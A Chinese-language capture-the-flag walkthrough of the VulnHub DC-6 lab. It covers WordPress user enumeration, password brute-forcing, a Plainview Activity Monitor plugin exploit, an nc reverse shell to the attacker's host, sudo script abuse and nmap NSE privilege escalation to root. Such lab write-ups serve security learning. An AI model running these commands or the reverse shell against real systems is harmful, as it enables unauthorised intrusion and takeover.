VulnHub DC-6 靶机渗透测试中,如何找到并利用特定漏洞进行攻击?

摘要:VulnHub DC-6 靶机渗透测试笔记 靶机信息 靶机名称:DC-6 靶机来源:VulnHub 目标:获取 root 权限,找到最终 flag 难度:⭐⭐⭐☆☆(中等) 涉及技术:信息收集、WordPress 插件漏洞、命令执行、SSH
VulnHub DC-6 靶机渗透测试笔记 靶机信息 靶机名称:DC-6 靶机来源:VulnHub 目标:获取 root 权限,找到最终 flag 难度:⭐⭐⭐☆☆(中等) 涉及技术:信息收集、WordPress 插件漏洞、命令执行、SSH登录、sudo 提权、nmap 脚本提权 一、信息收集 1.1 主机发现 目标 IP:192.168.168.169 1.2 端口与服务扫描 nmap -A -p- 192.168.168.169 1.3 配置域名解析 访问 192.168.168.169 时自动跳转到了域名,导致打不开: 需要修改 hosts 文件配置域名解析。 Windows 修改 hosts: C:\Windows\System32\drivers\etc\hosts 添加:192.168.168.169 wordy Kali 修改 hosts: echo "192.168.168.169 wordy" >> /etc/hosts 二、WordPress 信息收集 CMS 是 WordPress: 提示这个漏洞肯定和插件有关。 2.1 WPScan 扫描 wpscan --url http://wordy/ http://wordy/wp-content/uploads/ 没用 2.2 目录扫描 dirsearch -u http://wordy 找到后台登录地址:http://wordy/wp-login.php 2.3 枚举用户名 wpscan --url http://wordy/ -e u 创建用户名字典: echo -e "admin\njens\ngraham\nmark\nsarah" > users.txt 三、密码爆破 尝试用 cewl 生成专属字典爆破: cewl -w passwords.txt http://wordy/ wpscan --url http://wordy/ -U users.txt -P passwords.txt 但是没成功,换个字典。 看了下别人的 wp,mark 的密码是 helpdesk01,在 rockyou.txt 字典的七百多万行,额,太久了,直接登录吧。 登录成功: 四、插件漏洞利用 4.1 扫描插件漏洞 wpscan --url http://wordy/ -e ap --plugins-detection aggressive WPScan 插件扫描深度对比: 指令 扫描深度 效果 wpscan --url http://wordy/ 被动(Passive) 只看 HTML 源码,只能发现 2-3 个最明显的插件 wpscan --url ... -e vp 仅漏洞(Vulnerable) 只查找已知有漏洞的插件 wpscan --url ... -e ap 全部(All) 扫描几百个常用插件的路径 ... --plugins-detection aggressive 激进(Aggressive) 暴力猜测数千个插件路径 4.2 搜索插件漏洞 exp searchsploit plainview activity 快捷复制 exp 文件: searchsploit -m 45274 4.3 利用漏洞 python -m http.server 5566 # 浏览器访问 http://192.168.168.128:5566/45274.html 失败了换成下面那个运行 python 文件: 成功取得 Web 权限,查看当前权限: 五、反弹 Shell # 靶机执行 nc 192.168.168.128 5566 -e /bin/sh # Kali 监听 nc -lvnp 5566 升级为交互式终端: python -c 'import pty;pty.spawn("/bin/bash")' 查看系统用户: cat /etc/passwd 六、横向移动 6.1 找到 graham 的密码 在 mark 的目录下找到 graham 的密码:GSo7isUM1D4 6.2 SSH 登录 因为之前的链接总是断,换成 SSH: ssh graham@192.168.168.169 七、提权 7.1 发现 backups.sh 在 jens 目录下找到一个 sh 文件: 查看 sudo 权限: sudo -l ls -l backups.sh graham 没权限运行: jens 可以无密码运行: (jens) NOPASSWD: /home/jens/backups.sh 这行的意思是: 系统允许用户 graham 使用 sudo 命令,伪装成 jens 用户来执行这个指定的脚本,而且不需要输入密码。 但是执行完了后还是 graham 用户,因为 jens 权限没留下,而 graham 又有写入权限,那么写入 sh,以 jens 用户执行时就会弹出 jens 的权限: echo "/bin/bash" >> backups.sh sudo -u jens ./backups.sh sudo -l 7.2 nmap 脚本提权 查看 GTFOBins:https://gtfobins.org/gtfobins/nmap/ 不过这网站上记录的是老版本的,用不了,需要换种方式。 使用 nmap 的 --script 参数执行自定义脚本: echo 'os.execute("/bin/sh")' > /tmp/shell.nse sudo nmap --script=/tmp/shell.nse 出了点问题,不过很好解决: 虽然不显示,但仍然有效(复制粘贴就行),或者用 python -c 'import pty;pty.spawn("/bin/bash")' 也可以,也有可能是我的 xshell 的原因。 7.3 获取 flag 成功提权到 root,取得 flag: 八、渗透流程总结 信息收集(nmap) ↓ 发现 WordPress → 修改 hosts 配置域名解析 ↓ WPScan 枚举用户 → 密码爆破 → mark/helpdesk01 登录后台 ↓ 扫描插件漏洞(plainview activity)→ searchsploit 找到 exp ↓ 利用插件漏洞 → 获取 www-data shell ↓ mark 目录发现 graham 密码 → SSH 登录 ↓ sudo 伪装 jens 执行 backups.sh → 获取 jens 权限 ↓ sudo nmap --script 提权 → root → flag ✅ 九、涉及工具汇总 工具 用途 nmap 端口扫描、服务识别 WPScan WordPress 专项扫描 dirsearch Web 目录扫描 cewl 网站内容生成字典 searchsploit 本地漏洞库搜索 nc 反弹 Shell SSH 稳定连接 GTFOBins sudo/SUID 提权查询 本文为 VulnHub DC-6 靶机学习笔记,所有操作均在本地搭建的靶场环境中完成,仅用于学习交流。